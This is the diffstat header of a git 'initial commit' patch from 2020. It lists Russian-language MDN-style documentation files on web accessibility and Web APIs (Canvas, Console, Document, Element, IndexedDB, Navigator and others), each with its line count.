From 074785cea106179cb3305637055ab0a009ca74f2 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:42:52 -0500 Subject: initial commit --- .../aria/aria_live_regions/index.html | 111 + .../accessibility/aria/aria_techniques/index.html | 169 + .../index.html | 87 + .../using_the_aria-label_attribute/index.html | 68 + .../using_the_aria-labelledby_attribute/index.html | 140 + files/ru/web/accessibility/aria/index.html | 123 + .../aria/roles/checkbox_role/index.html | 149 + files/ru/web/accessibility/aria/roles/index.html | 80 + .../ru/web/accessibility/at-apis/gecko/index.html | 9 + .../accessibility/at-apis/gecko/roles/index.html | 498 +++ .../at-apis/gecko/roles/role_document/index.html | 31 + .../gecko/roles/role_password_text/index.html | 27 + files/ru/web/accessibility/at-apis/index.html | 176 + files/ru/web/accessibility/index.html | 54 + .../index.html | 206 ++ .../mobile_accessibility_checklist/index.html | 90 + .../accessibility/understanding_wcag/index.html | 59 + .../understanding_wcag/keyboard/index.html | 87 + .../perceivable/color_contrast/index.html | 56 + .../understanding_wcag/perceivable/index.html | 359 ++ .../index.html" | 50 + files/ru/web/api/abortcontroller/abort/index.html | 89 + .../api/abortcontroller/abortcontroller/index.html | 85 + files/ru/web/api/abortcontroller/index.html | 97 + files/ru/web/api/abortcontroller/signal/index.html | 87 + .../ru/web/api/abortsignal/abort_event/index.html | 134 + files/ru/web/api/abortsignal/aborted/index.html | 60 + files/ru/web/api/abortsignal/index.html | 98 + files/ru/web/api/abortsignal/onabort/index.html | 53 + files/ru/web/api/abstractworker/index.html | 95 + files/ru/web/api/ambient_light_events/index.html | 112 + files/ru/web/api/analysernode/index.html | 183 + files/ru/web/api/angle_instanced_arrays/index.html | 81 + files/ru/web/api/animation/cancel/index.html | 110 + files/ru/web/api/animation/index.html | 190 + .../api/animationevent/animationevent/index.html | 67 + files/ru/web/api/animationevent/index.html | 182 + files/ru/web/api/attr/index.html | 211 ++ files/ru/web/api/audiobuffer/index.html | 215 ++ .../createmediaelementsource/index.html | 156 + .../web/api/audiocontext/createpanner/index.html | 211 ++ .../ru/web/api/audiocontext/currenttime/index.html | 97 + .../api/audiocontext/decodeaudiodata/index.html | 220 ++ files/ru/web/api/audiocontext/index.html | 179 + files/ru/web/api/audionode/channelcount/index.html | 122 + files/ru/web/api/audionode/context/index.html | 113 + files/ru/web/api/audionode/index.html | 198 ++ files/ru/web/api/audioparam/index.html | 112 + .../web/api/audioparam/setvalueattime/index.html | 97 + files/ru/web/api/batterymanager/index.html | 72 + files/ru/web/api/beacon_api/index.html | 51 + .../ru/web/api/beforeinstallpromptevent/index.html | 61 + .../api/beforeinstallpromptevent/prompt/index.html | 48 + files/ru/web/api/beforeunloadevent/index.html | 74 + files/ru/web/api/blob/blob/index.html | 123 + files/ru/web/api/blob/index.html | 178 + files/ru/web/api/blob/slice/index.html | 59 + files/ru/web/api/bluetooth/index.html | 73 + .../web/api/bluetoothremotegattserver/index.html | 79 + files/ru/web/api/body/arraybuffer/index.html | 90 + files/ru/web/api/body/formdata/index.html | 62 + files/ru/web/api/body/index.html | 99 + files/ru/web/api/body/json/index.html | 77 + files/ru/web/api/broadcastchannel/index.html | 74 + .../api/broadcastchannel/postmessage/index.html | 52 + files/ru/web/api/bytestring/index.html | 34 + files/ru/web/api/cache/add/index.html | 102 + files/ru/web/api/cache/addall/index.html | 206 ++ files/ru/web/api/cache/delete/index.html | 128 + files/ru/web/api/cache/index.html | 278 ++ files/ru/web/api/cache/keys/index.html | 136 + files/ru/web/api/cache/match/index.html | 151 + files/ru/web/api/cache/matchall/index.html | 134 + files/ru/web/api/cache/put/index.html | 109 + files/ru/web/api/cachestorage/index.html | 205 ++ files/ru/web/api/cachestorage/match/index.html | 99 + files/ru/web/api/cachestorage/open/index.html | 141 + .../api/canvas_api/a_basic_ray-caster/index.html | 46 + files/ru/web/api/canvas_api/index.html | 161 + .../tutorial/advanced_animations/index.html | 376 ++ .../api/canvas_api/tutorial/basic_usage/index.html | 150 + .../web/api/canvas_api/tutorial/finale/index.html | 51 + files/ru/web/api/canvas_api/tutorial/index.html | 58 + .../tutorial/optimizing_canvas/index.html | 120 + .../pixel_manipulation_with_canvas/index.html | 267 ++ .../canvas_api/tutorial/transformations/index.html | 275 ++ .../index.html" | 333 ++ .../index.html" | 108 + .../index.html" | 308 ++ .../index.html" | 726 ++++ .../index.html" | 166 + .../index.html" | 582 ++++ .../api/canvascapturemediastreamtrack/index.html | 61 + files/ru/web/api/canvasgradient/index.html | 110 + files/ru/web/api/canvaspattern/index.html | 59 + .../api/canvasrenderingcontext2d/arc/index.html | 226 ++ .../api/canvasrenderingcontext2d/arcto/index.html | 256 ++ .../canvasrenderingcontext2d/beginpath/index.html | 128 + .../beziercurveto/index.html | 193 ++ .../api/canvasrenderingcontext2d/canvas/index.html | 66 + .../canvasrenderingcontext2d/clearrect/index.html | 187 + .../canvasrenderingcontext2d/closepath/index.html | 114 + .../createlineargradient/index.html | 119 + .../currenttransform/index.html | 90 + .../canvasrenderingcontext2d/drawimage/index.html | 328 ++ .../canvasrenderingcontext2d/ellipse/index.html | 139 + .../api/canvasrenderingcontext2d/fill/index.html | 127 + .../canvasrenderingcontext2d/fillrect/index.html | 175 + .../canvasrenderingcontext2d/fillstyle/index.html | 127 + .../canvasrenderingcontext2d/filltext/index.html | 172 + .../api/canvasrenderingcontext2d/font/index.html | 94 + .../getimagedata/index.html | 108 + .../getlinedash/index.html | 79 + .../globalalpha/index.html | 140 + .../ru/web/api/canvasrenderingcontext2d/index.html | 449 +++ .../canvasrenderingcontext2d/linecap/index.html | 132 + .../linedashoffset/index.html | 149 + .../canvasrenderingcontext2d/linejoin/index.html | 143 + .../api/canvasrenderingcontext2d/lineto/index.html | 116 + .../canvasrenderingcontext2d/linewidth/index.html | 179 + .../measuretext/index.html | 69 + .../canvasrenderingcontext2d/miterlimit/index.html | 118 + .../api/canvasrenderingcontext2d/moveto/index.html | 172 + .../putimagedata/index.html | 177 + .../api/canvasrenderingcontext2d/rect/index.html | 173 + .../canvasrenderingcontext2d/restore/index.html | 76 + .../api/canvasrenderingcontext2d/rotate/index.html | 120 + .../api/canvasrenderingcontext2d/save/index.html | 84 + .../api/canvasrenderingcontext2d/stroke/index.html | 116 + .../canvasrenderingcontext2d/strokerect/index.html | 173 + .../strokestyle/index.html | 205 ++ .../canvasrenderingcontext2d/stroketext/index.html | 167 + .../canvasrenderingcontext2d/textalign/index.html | 130 + .../textbaseline/index.html | 100 + files/ru/web/api/cdatasection/index.html | 75 + files/ru/web/api/characterdata/index.html | 94 + files/ru/web/api/childnode/index.html | 171 + files/ru/web/api/childnode/remove/index.html | 148 + files/ru/web/api/childnode/replacewith/index.html | 113 + files/ru/web/api/clients/claim/index.html | 114 + files/ru/web/api/clients/index.html | 128 + files/ru/web/api/clients/openwindow/index.html | 91 + files/ru/web/api/clipboard_api/index.html | 95 + files/ru/web/api/clipboardevent/index.html | 132 + files/ru/web/api/comment/index.html | 69 + files/ru/web/api/console/assert/index.html | 112 + files/ru/web/api/console/clear/index.html | 53 + files/ru/web/api/console/count/index.html | 170 + files/ru/web/api/console/countreset/index.html | 130 + files/ru/web/api/console/debug/index.html | 56 + files/ru/web/api/console/dir/index.html | 91 + files/ru/web/api/console/dirxml/index.html | 57 + files/ru/web/api/console/error/index.html | 170 + files/ru/web/api/console/group/index.html | 147 + files/ru/web/api/console/index.html | 261 ++ files/ru/web/api/console/info/index.html | 157 + files/ru/web/api/console/log/index.html | 92 + files/ru/web/api/console/profile/index.html | 43 + files/ru/web/api/console/table/index.html | 205 ++ files/ru/web/api/console/time/index.html | 62 + files/ru/web/api/console/timeend/index.html | 76 + files/ru/web/api/console/timelog/index.html | 92 + files/ru/web/api/console/timestamp/index.html | 39 + files/ru/web/api/console/trace/index.html | 66 + files/ru/web/api/console/warn/index.html | 67 + files/ru/web/api/console_api/index.html | 72 + .../web/api/credential_management_api/index.html | 65 + files/ru/web/api/crypto/index.html | 68 + files/ru/web/api/cryptokeypair/index.html | 73 + files/ru/web/api/css/index.html | 128 + files/ru/web/api/css_object_model/index.html | 208 ++ .../index.html" | 183 + files/ru/web/api/cssconditionrule/index.html | 113 + files/ru/web/api/cssrule/index.html | 323 ++ .../getpropertyvalue/index.html | 114 + files/ru/web/api/cssstyledeclaration/index.html | 103 + files/ru/web/api/cssstylesheet/index.html | 133 + files/ru/web/api/cssvalue/index.html | 74 + files/ru/web/api/datatransfer/index.html | 383 ++ files/ru/web/api/devicestorage/index.html | 87 + files/ru/web/api/document/activeelement/index.html | 164 + files/ru/web/api/document/alinkcolor/index.html | 40 + files/ru/web/api/document/all/index.html | 42 + files/ru/web/api/document/anchors/index.html | 125 + files/ru/web/api/document/applets/index.html | 71 + files/ru/web/api/document/async/index.html | 35 + files/ru/web/api/document/bgcolor/index.html | 45 + files/ru/web/api/document/body/index.html | 87 + files/ru/web/api/document/characterset/index.html | 119 + files/ru/web/api/document/close/index.html | 63 + files/ru/web/api/document/compatmode/index.html | 50 + files/ru/web/api/document/contenttype/index.html | 23 + files/ru/web/api/document/cookie/index.html | 360 ++ .../ru/web/api/document/createattribute/index.html | 86 + files/ru/web/api/document/createcomment/index.html | 44 + .../api/document/createdocumentfragment/index.html | 137 + files/ru/web/api/document/createrange/index.html | 33 + .../ru/web/api/document/createtextnode/index.html | 120 + .../web/api/document/createtreewalker/index.html | 155 + files/ru/web/api/document/currentscript/index.html | 110 + files/ru/web/api/document/defaultview/index.html | 50 + files/ru/web/api/document/designmode/index.html | 65 + files/ru/web/api/document/dir/index.html | 63 + files/ru/web/api/document/doctype/index.html | 63 + files/ru/web/api/document/document/index.html | 52 + .../ru/web/api/document/documentelement/index.html | 44 + files/ru/web/api/document/documenturi/index.html | 113 + .../web/api/document/documenturiobject/index.html | 35 + files/ru/web/api/document/domain/index.html | 106 + .../api/document/domcontentloaded_event/index.html | 184 + .../ru/web/api/document/dragstart_event/index.html | 89 + files/ru/web/api/document/embeds/index.html | 59 + files/ru/web/api/document/evaluate/index.html | 159 + files/ru/web/api/document/execcommand/index.html | 358 ++ files/ru/web/api/document/forms/index.html | 130 + .../ru/web/api/document/getelementbyid/index.html | 156 + .../api/document/getelementsbyclassname/index.html | 125 + .../web/api/document/getelementsbyname/index.html | 90 + .../api/document/getelementsbytagname/index.html | 103 + files/ru/web/api/document/getselection/index.html | 8 + files/ru/web/api/document/hasfocus/index.html | 146 + files/ru/web/api/document/head/index.html | 87 + files/ru/web/api/document/height/index.html | 55 + files/ru/web/api/document/hidden/index.html | 43 + files/ru/web/api/document/importnode/index.html | 91 + files/ru/web/api/document/index.html | 405 +++ .../ru/web/api/document/keypress_event/index.html | 183 + files/ru/web/api/document/links/index.html | 72 + files/ru/web/api/document/location/index.html | 76 + files/ru/web/api/document/origin/index.html | 109 + files/ru/web/api/document/queryselector/index.html | 131 + .../web/api/document/queryselectorall/index.html | 165 + files/ru/web/api/document/readystate/index.html | 116 + files/ru/web/api/document/referrer/index.html | 41 + .../ru/web/api/document/registerelement/index.html | 117 + files/ru/web/api/document/scripts/index.html | 93 + files/ru/web/api/document/scroll_event/index.html | 100 + files/ru/web/api/document/url/index.html | 76 + files/ru/web/api/document/write/index.html | 79 + files/ru/web/api/document/writeln/index.html | 34 + files/ru/web/api/documentfragment/index.html | 236 ++ files/ru/web/api/domhighrestimestamp/index.html | 101 + files/ru/web/api/domparser/index.html | 230 ++ files/ru/web/api/domstring/index.html | 50 + files/ru/web/api/domstringlist/index.html | 43 + files/ru/web/api/domstringmap/index.html | 99 + files/ru/web/api/domtokenlist/index.html | 111 + files/ru/web/api/domtokenlist/replace/index.html | 95 + files/ru/web/api/effecttiming/index.html | 73 + files/ru/web/api/element/accesskey/index.html | 73 + files/ru/web/api/element/animate/index.html | 117 + files/ru/web/api/element/attachshadow/index.html | 151 + files/ru/web/api/element/attributes/index.html | 157 + files/ru/web/api/element/classlist/index.html | 237 ++ files/ru/web/api/element/classname/index.html | 108 + files/ru/web/api/element/clientheight/index.html | 114 + files/ru/web/api/element/clientleft/index.html | 68 + files/ru/web/api/element/clienttop/index.html | 70 + files/ru/web/api/element/clientwidth/index.html | 59 + files/ru/web/api/element/closest/index.html | 124 + .../ru/web/api/element/createshadowroot/index.html | 91 + files/ru/web/api/element/currentstyle/index.html | 52 + files/ru/web/api/element/getattribute/index.html | 49 + .../api/element/getboundingclientrect/index.html | 102 + .../api/element/getelementsbyclassname/index.html | 117 + .../api/element/getelementsbytagname/index.html | 134 + files/ru/web/api/element/hasattribute/index.html | 114 + files/ru/web/api/element/hasattributes/index.html | 122 + files/ru/web/api/element/id/index.html | 121 + files/ru/web/api/element/index.html | 297 ++ files/ru/web/api/element/innerhtml/index.html | 167 + .../api/element/insertadjacentelement/index.html | 129 + .../web/api/element/insertadjacenthtml/index.html | 88 + .../web/api/element/insertadjacenttext/index.html | 118 + files/ru/web/api/element/keydown_event/index.html | 91 + files/ru/web/api/element/keyup_event/index.html | 87 + files/ru/web/api/element/matches/index.html | 157 + .../ru/web/api/element/mousedown_event/index.html | 147 + .../ru/web/api/element/mouseenter_event/index.html | 148 + .../ru/web/api/element/mouseleave_event/index.html | 319 ++ files/ru/web/api/element/mouseup_event/index.html | 72 + files/ru/web/api/element/outerhtml/index.html | 148 + files/ru/web/api/element/queryselector/index.html | 136 + .../ru/web/api/element/queryselectorall/index.html | 69 + .../ru/web/api/element/removeattribute/index.html | 36 + .../web/api/element/requestpointerlock/index.html | 90 + files/ru/web/api/element/scrollheight/index.html | 178 + files/ru/web/api/element/scrollintoview/index.html | 112 + files/ru/web/api/element/scrollleft/index.html | 79 + files/ru/web/api/element/scrollto/index.html | 72 + files/ru/web/api/element/scrolltop/index.html | 73 + files/ru/web/api/element/setattribute/index.html | 54 + files/ru/web/api/element/slot/index.html | 67 + files/ru/web/api/element/tagname/index.html | 47 + files/ru/web/api/event/bubbles/index.html | 44 + files/ru/web/api/event/cancelable/index.html | 38 + .../event/comparison_of_event_targets/index.html | 164 + files/ru/web/api/event/currenttarget/index.html | 107 + files/ru/web/api/event/defaultprevented/index.html | 104 + files/ru/web/api/event/event/index.html | 73 + files/ru/web/api/event/eventphase/index.html | 144 + files/ru/web/api/event/index.html | 251 ++ files/ru/web/api/event/initevent/index.html | 78 + files/ru/web/api/event/istrusted/index.html | 109 + files/ru/web/api/event/preventdefault/index.html | 145 + files/ru/web/api/event/srcelement/index.html | 74 + .../api/event/stopimmediatepropagation/index.html | 31 + files/ru/web/api/event/stoppropagation/index.html | 69 + files/ru/web/api/event/target/index.html | 135 + files/ru/web/api/event/timestamp/index.html | 103 + files/ru/web/api/event/type/index.html | 102 + files/ru/web/api/eventlistener/index.html | 88 + files/ru/web/api/eventsource/index.html | 121 + .../api/eventtarget/addeventlistener/index.html | 499 +++ .../ru/web/api/eventtarget/attachevent/index.html | 93 + .../ru/web/api/eventtarget/detachevent/index.html | 91 + .../web/api/eventtarget/dispatchevent/index.html | 82 + .../ru/web/api/eventtarget/eventtarget/index.html | 76 + files/ru/web/api/eventtarget/index.html | 120 + .../api/eventtarget/removeeventlistener/index.html | 155 + files/ru/web/api/extendableevent/index.html | 130 + .../web/api/extendableevent/waituntil/index.html | 77 + .../fetch_api/cross-global_fetch_usage/index.html | 33 + files/ru/web/api/fetch_api/index.html | 102 + files/ru/web/api/fetch_api/using_fetch/index.html | 488 +++ files/ru/web/api/fetchevent/index.html | 103 + files/ru/web/api/file/filename/index.html | 32 + files/ru/web/api/file/getasdataurl/index.html | 64 + files/ru/web/api/file/index.html | 87 + files/ru/web/api/file/name/index.html | 118 + .../using_files_from_web_applications/index.html | 476 +++ .../api/file_and_directory_entries_api/index.html | 129 + .../index.html" | 291 ++ files/ru/web/api/filelist/index.html | 153 + files/ru/web/api/filereader/error/index.html | 48 + files/ru/web/api/filereader/filereader/index.html | 59 + files/ru/web/api/filereader/index.html | 131 + files/ru/web/api/filereader/onabort/index.html | 10 + .../api/filereader/readasarraybuffer/index.html | 110 + .../api/filereader/readasbinarystring/index.html | 113 + .../ru/web/api/filereader/readasdataurl/index.html | 64 + files/ru/web/api/filereader/readastext/index.html | 50 + files/ru/web/api/fmradio/index.html | 94 + files/ru/web/api/fontface/index.html | 79 + files/ru/web/api/formdata/append/index.html | 180 + files/ru/web/api/formdata/delete/index.html | 138 + files/ru/web/api/formdata/entries/index.html | 125 + files/ru/web/api/formdata/formdata/index.html | 89 + files/ru/web/api/formdata/get/index.html | 74 + files/ru/web/api/formdata/getall/index.html | 145 + files/ru/web/api/formdata/has/index.html | 73 + files/ru/web/api/formdata/index.html | 80 + files/ru/web/api/formdata/keys/index.html | 70 + files/ru/web/api/formdata/set/index.html | 77 + .../api/formdata/using_formdata_objects/index.html | 141 + files/ru/web/api/formdata/values/index.html | 70 + files/ru/web/api/gamepad/axes/index.html | 70 + files/ru/web/api/gamepad/buttons/index.html | 91 + files/ru/web/api/gamepad/connected/index.html | 48 + files/ru/web/api/gamepad/displayid/index.html | 58 + files/ru/web/api/gamepad/id/index.html | 59 + files/ru/web/api/gamepad/index.html | 92 + files/ru/web/api/gamepad/index/index.html | 50 + files/ru/web/api/gamepad/mapping/index.html | 48 + files/ru/web/api/gamepad/timestamp/index.html | 52 + files/ru/web/api/gamepad_api/index.html | 99 + .../gamepad_api/using_the_gamepad_api/index.html | 341 ++ files/ru/web/api/gamepadbutton/index.html | 85 + files/ru/web/api/gamepadbutton/pressed/index.html | 52 + files/ru/web/api/gamepadbutton/value/index.html | 51 + files/ru/web/api/gamepadevent/gamepad/index.html | 55 + files/ru/web/api/gamepadevent/index.html | 57 + .../api/geolocation/getcurrentposition/index.html | 82 + files/ru/web/api/geolocation/index.html | 69 + .../api/geolocation/using_geolocation/index.html | 91 + .../using_the_geolocation_api/index.html | 170 + files/ru/web/api/geolocationcoordinates/index.html | 65 + files/ru/web/api/geolocationposition/index.html | 58 + .../ru/web/api/geolocationpositionerror/index.html | 80 + files/ru/web/api/globaleventhandlers/index.html | 213 ++ .../web/api/globaleventhandlers/onabort/index.html | 100 + .../onanimationcancel/index.html | 247 ++ .../globaleventhandlers/onanimationend/index.html | 109 + .../web/api/globaleventhandlers/onblur/index.html | 85 + .../api/globaleventhandlers/onchange/index.html | 57 + .../web/api/globaleventhandlers/onclick/index.html | 103 + .../web/api/globaleventhandlers/onclose/index.html | 97 + .../globaleventhandlers/oncontextmenu/index.html | 63 + .../api/globaleventhandlers/ondragstart/index.html | 111 + .../web/api/globaleventhandlers/onerror/index.html | 70 + .../web/api/globaleventhandlers/onfocus/index.html | 94 + .../web/api/globaleventhandlers/oninput/index.html | 110 + .../api/globaleventhandlers/onkeydown/index.html | 84 + .../api/globaleventhandlers/onkeypress/index.html | 53 + .../web/api/globaleventhandlers/onload/index.html | 58 + .../api/globaleventhandlers/onloadend/index.html | 110 + .../api/globaleventhandlers/onmousedown/index.html | 94 + .../api/globaleventhandlers/onmouseup/index.html | 94 + .../api/globaleventhandlers/onscroll/index.html | 80 + .../api/globaleventhandlers/onselect/index.html | 72 + .../api/globaleventhandlers/onsubmit/index.html | 65 + files/ru/web/api/gyroscope/index.html | 71 + files/ru/web/api/history/go/index.html | 88 + files/ru/web/api/history/index.html | 135 + files/ru/web/api/history/length/index.html | 105 + files/ru/web/api/history/pushstate/index.html | 146 + files/ru/web/api/history/replacestate/index.html | 70 + files/ru/web/api/history/state/index.html | 65 + files/ru/web/api/history_api/index.html | 119 + .../working_with_the_history_api/index.html | 129 + files/ru/web/api/htmlanchorelement/index.html | 231 ++ files/ru/web/api/htmlareaelement/index.html | 220 ++ .../ru/web/api/htmlaudioelement/audio()/index.html | 85 + files/ru/web/api/htmlaudioelement/index.html | 171 + files/ru/web/api/htmlbaseelement/index.html | 120 + files/ru/web/api/htmlbasefontelement/index.html | 105 + files/ru/web/api/htmlbodyelement/index.html | 194 ++ files/ru/web/api/htmlbrelement/index.html | 125 + files/ru/web/api/htmlbuttonelement/index.html | 308 ++ .../api/htmlcanvaselement/capturestream/index.html | 129 + .../api/htmlcanvaselement/getcontext/index.html | 270 ++ files/ru/web/api/htmlcanvaselement/index.html | 247 ++ .../ru/web/api/htmlcanvaselement/toblob/index.html | 266 ++ files/ru/web/api/htmlcollection/index.html | 68 + files/ru/web/api/htmlcollection/item/index.html | 41 + files/ru/web/api/htmlcontentelement/index.html | 49 + files/ru/web/api/htmldataelement/index.html | 111 + files/ru/web/api/htmldialogelement/index.html | 136 + files/ru/web/api/htmldialogelement/open/index.html | 126 + files/ru/web/api/htmldivelement/index.html | 115 + files/ru/web/api/htmldocument/index.html | 20 + files/ru/web/api/htmlelement/click/index.html | 115 + .../web/api/htmlelement/contenteditable/index.html | 115 + files/ru/web/api/htmlelement/dataset/index.html | 114 + files/ru/web/api/htmlelement/hidden/index.html | 192 + files/ru/web/api/htmlelement/index.html | 402 +++ files/ru/web/api/htmlelement/nonce/index.html | 44 + .../ru/web/api/htmlelement/offsetheight/index.html | 71 + files/ru/web/api/htmlelement/offsetleft/index.html | 81 + files/ru/web/api/htmlelement/offsettop/index.html | 56 + .../ru/web/api/htmlelement/offsetwidth/index.html | 65 + files/ru/web/api/htmlelement/outertext/index.html | 29 + .../api/htmlelement/pointerover_event/index.html | 84 + files/ru/web/api/htmlelement/style/index.html | 78 + files/ru/web/api/htmlelement/tabindex/index.html | 134 + .../ru/web/api/htmlformelement/elements/index.html | 100 + files/ru/web/api/htmlformelement/index.html | 273 ++ files/ru/web/api/htmlformelement/length/index.html | 37 + .../api/htmlformelement/reportvalidity/index.html | 79 + files/ru/web/api/htmlformelement/reset/index.html | 24 + files/ru/web/api/htmlformelement/submit/index.html | 56 + files/ru/web/api/htmlheadelement/index.html | 132 + files/ru/web/api/htmlheadingelement/index.html | 69 + .../api/htmlhyperlinkelementutils/hash/index.html | 105 + .../api/htmlhyperlinkelementutils/host/index.html | 116 + .../htmlhyperlinkelementutils/hostname/index.html | 105 + .../api/htmlhyperlinkelementutils/href/index.html | 108 + .../web/api/htmlhyperlinkelementutils/index.html | 178 + .../htmlhyperlinkelementutils/origin/index.html | 116 + .../htmlhyperlinkelementutils/password/index.html | 106 + .../htmlhyperlinkelementutils/pathname/index.html | 106 + .../api/htmlhyperlinkelementutils/port/index.html | 108 + .../htmlhyperlinkelementutils/protocol/index.html | 106 + .../htmlhyperlinkelementutils/search/index.html | 106 + .../htmlhyperlinkelementutils/tostring/index.html | 106 + .../htmlhyperlinkelementutils/username/index.html | 104 + .../web/api/htmlimageelement/decoding/index.html | 67 + files/ru/web/api/htmlimageelement/image/index.html | 36 + files/ru/web/api/htmlimageelement/index.html | 348 ++ .../ru/web/api/htmlimageelement/srcset/index.html | 126 + files/ru/web/api/htmlinputelement/index.html | 633 ++++ .../api/htmlinputelement/invalid_event/index.html | 56 + .../htmlinputelement/setselectionrange/index.html | 174 + files/ru/web/api/htmllinkelement/index.html | 118 + .../api/htmlmediaelement/abort_event/index.html | 80 + .../web/api/htmlmediaelement/duration/index.html | 56 + files/ru/web/api/htmlmediaelement/index.html | 294 ++ files/ru/web/api/htmlscriptelement/index.html | 190 + files/ru/web/api/htmlselectelement/index.html | 376 ++ .../api/htmlselectelement/selectedindex/index.html | 122 + .../htmlselectelement/setcustomvalidity/index.html | 106 + files/ru/web/api/htmltablecellelement/index.html | 155 + files/ru/web/api/htmltableelement/index.html | 200 ++ .../web/api/htmltableelement/insertrow/index.html | 154 + files/ru/web/api/htmltimeelement/index.html | 64 + files/ru/web/api/htmltrackelement/index.html | 181 + files/ru/web/api/htmlunknownelement/index.html | 96 + files/ru/web/api/htmlvideoelement/index.html | 192 + files/ru/web/api/idbindex/index.html | 139 + files/ru/web/api/idbindex/locale/index.html | 76 + files/ru/web/api/identitymanager/index.html | 47 + .../ru/web/api/identitymanager/request/index.html | 88 + files/ru/web/api/imagebitmap/index.html | 68 + files/ru/web/api/imagedata/index.html | 142 + files/ru/web/api/index.html | 25 + .../basic_concepts_behind_indexeddb/index.html | 213 ++ files/ru/web/api/indexeddb_api/index.html | 160 + .../api/indexeddb_api/using_indexeddb/index.html | 1198 +++++++ files/ru/web/api/inputevent/index.html | 73 + .../web/api/intersection_observer_api/index.html | 134 + .../timing_element_visibility/index.html | 565 +++ files/ru/web/api/intersectionobserver/index.html | 95 + files/ru/web/api/keyboardevent/altkey/index.html | 117 + files/ru/web/api/keyboardevent/index.html | 465 +++ files/ru/web/api/keyboardevent/key/index.html | 229 ++ .../api/keyboardevent/key/key_values/index.html | 3665 ++++++++++++++++++++ files/ru/web/api/keyboardevent/which/index.html | 97 + files/ru/web/api/localmediastream/index.html | 22 + files/ru/web/api/location/assign/index.html | 68 + files/ru/web/api/location/index.html | 205 ++ files/ru/web/api/location/reload/index.html | 73 + files/ru/web/api/location/replace/index.html | 68 + files/ru/web/api/media_session_api/index.html | 110 + .../api/mediadevices/enumeratedevices/index.html | 163 + .../web/api/mediadevices/getusermedia/index.html | 351 ++ files/ru/web/api/mediadevices/index.html | 237 ++ .../web/api/mediaelementaudiosourcenode/index.html | 119 + files/ru/web/api/mediaerror/code/index.html | 103 + files/ru/web/api/mediaerror/index.html | 64 + files/ru/web/api/mediarecorder/index.html | 185 + .../web/api/mediarecorder/mediarecorder/index.html | 157 + .../api/mediarecorder/ondataavailable/index.html | 81 + .../web/api/mediarecorder/requestdata/index.html | 123 + files/ru/web/api/mediarecorder/start/index.html | 80 + files/ru/web/api/mediarecorder/state/index.html | 84 + files/ru/web/api/mediasource/index.html | 194 ++ files/ru/web/api/mediastream/active/index.html | 53 + files/ru/web/api/mediastream/index.html | 134 + .../web/api/mediastream_recording_api/index.html | 129 + .../recording_a_media_element/index.html | 272 ++ .../using_the_mediastream_recording_api/index.html | 263 ++ files/ru/web/api/mediastreamtrack/index.html | 128 + files/ru/web/api/mediatrackconstraints/index.html | 195 ++ .../index.html" | 77 + files/ru/web/api/mouseevent/button/index.html | 152 + files/ru/web/api/mouseevent/buttons/index.html | 125 + files/ru/web/api/mouseevent/clientx/index.html | 132 + files/ru/web/api/mouseevent/clienty/index.html | 124 + files/ru/web/api/mouseevent/ctrlkey/index.html | 71 + files/ru/web/api/mouseevent/index.html | 303 ++ files/ru/web/api/mouseevent/offsetx/index.html | 122 + files/ru/web/api/mouseevent/pagex/index.html | 124 + files/ru/web/api/mouseevent/screenx/index.html | 93 + files/ru/web/api/mouseevent/shiftkey/index.html | 126 + files/ru/web/api/mouseevent/which/index.html | 47 + files/ru/web/api/mutationobserver/index.html | 176 + .../web/api/namednodemap/getnameditem/index.html | 24 + files/ru/web/api/namednodemap/index.html | 88 + files/ru/web/api/navigation_timing_api/index.html | 157 + files/ru/web/api/navigator/battery/index.html | 33 + .../ru/web/api/navigator/cookieenabled/index.html | 81 + files/ru/web/api/navigator/donottrack/index.html | 89 + files/ru/web/api/navigator/geolocation/index.html | 96 + .../ru/web/api/navigator/getdatastores/index.html | 58 + files/ru/web/api/navigator/getgamepads/index.html | 102 + files/ru/web/api/navigator/getusermedia/index.html | 107 + .../ru/web/api/navigator/getvrdisplays/index.html | 56 + files/ru/web/api/navigator/id/index.html | 20 + files/ru/web/api/navigator/index.html | 123 + files/ru/web/api/navigator/mediadevices/index.html | 103 + .../navigator/mozaudiochannelmanager/index.html | 32 + files/ru/web/api/navigator/mozcamera/index.html | 43 + files/ru/web/api/navigator/mozl10n/index.html | 38 + files/ru/web/api/navigator/moznfc/index.html | 43 + files/ru/web/api/navigator/oscpu/index.html | 80 + .../navigator/registerprotocolhandler/index.html | 119 + files/ru/web/api/navigator/sendbeacon/index.html | 104 + .../ru/web/api/navigator/serviceworker/index.html | 95 + files/ru/web/api/navigator/vibrate/index.html | 107 + files/ru/web/api/navigatorgeolocation/index.html | 102 + .../ru/web/api/navigatorid/appcodename/index.html | 120 + files/ru/web/api/navigatorid/appname/index.html | 102 + files/ru/web/api/navigatorid/appversion/index.html | 103 + files/ru/web/api/navigatorid/index.html | 78 + files/ru/web/api/navigatorid/platform/index.html | 61 + files/ru/web/api/navigatorid/product/index.html | 133 + .../ru/web/api/navigatorid/taintenabled/index.html | 52 + files/ru/web/api/navigatorid/useragent/index.html | 124 + files/ru/web/api/navigatorlanguage/index.html | 141 + .../web/api/navigatorlanguage/language/index.html | 138 + .../web/api/navigatorlanguage/languages/index.html | 118 + files/ru/web/api/navigatoronline/index.html | 122 + files/ru/web/api/navigatoronline/online/index.html | 147 + files/ru/web/api/navigatorplugins/index.html | 105 + .../api/navigatorplugins/javaenabled/index.html | 28 + .../web/api/navigatorplugins/mimetypes/index.html | 39 + .../ru/web/api/navigatorplugins/plugins/index.html | 63 + .../ru/web/api/network_information_api/index.html | 87 + .../api/networkinformation/connection/index.html | 100 + files/ru/web/api/networkinformation/index.html | 107 + files/ru/web/api/node.replacechild/index.html | 64 + files/ru/web/api/node/appendchild/index.html | 60 + files/ru/web/api/node/baseuri/index.html | 62 + files/ru/web/api/node/baseuriobject/index.html | 25 + files/ru/web/api/node/childnodes/index.html | 68 + files/ru/web/api/node/clonenode/index.html | 135 + .../api/node/comparedocumentposition/index.html | 89 + files/ru/web/api/node/contains/index.html | 63 + files/ru/web/api/node/firstchild/index.html | 55 + files/ru/web/api/node/getuserdata/index.html | 113 + files/ru/web/api/node/haschildnodes/index.html | 37 + files/ru/web/api/node/index.html | 367 ++ files/ru/web/api/node/innertext/index.html | 46 + files/ru/web/api/node/insertbefore/index.html | 132 + files/ru/web/api/node/isconnected/index.html | 87 + .../ru/web/api/node/isdefaultnamespace/index.html | 34 + files/ru/web/api/node/isequalnode/index.html | 66 + files/ru/web/api/node/issamenode/index.html | 110 + files/ru/web/api/node/issupported/index.html | 124 + files/ru/web/api/node/lastchild/index.html | 32 + 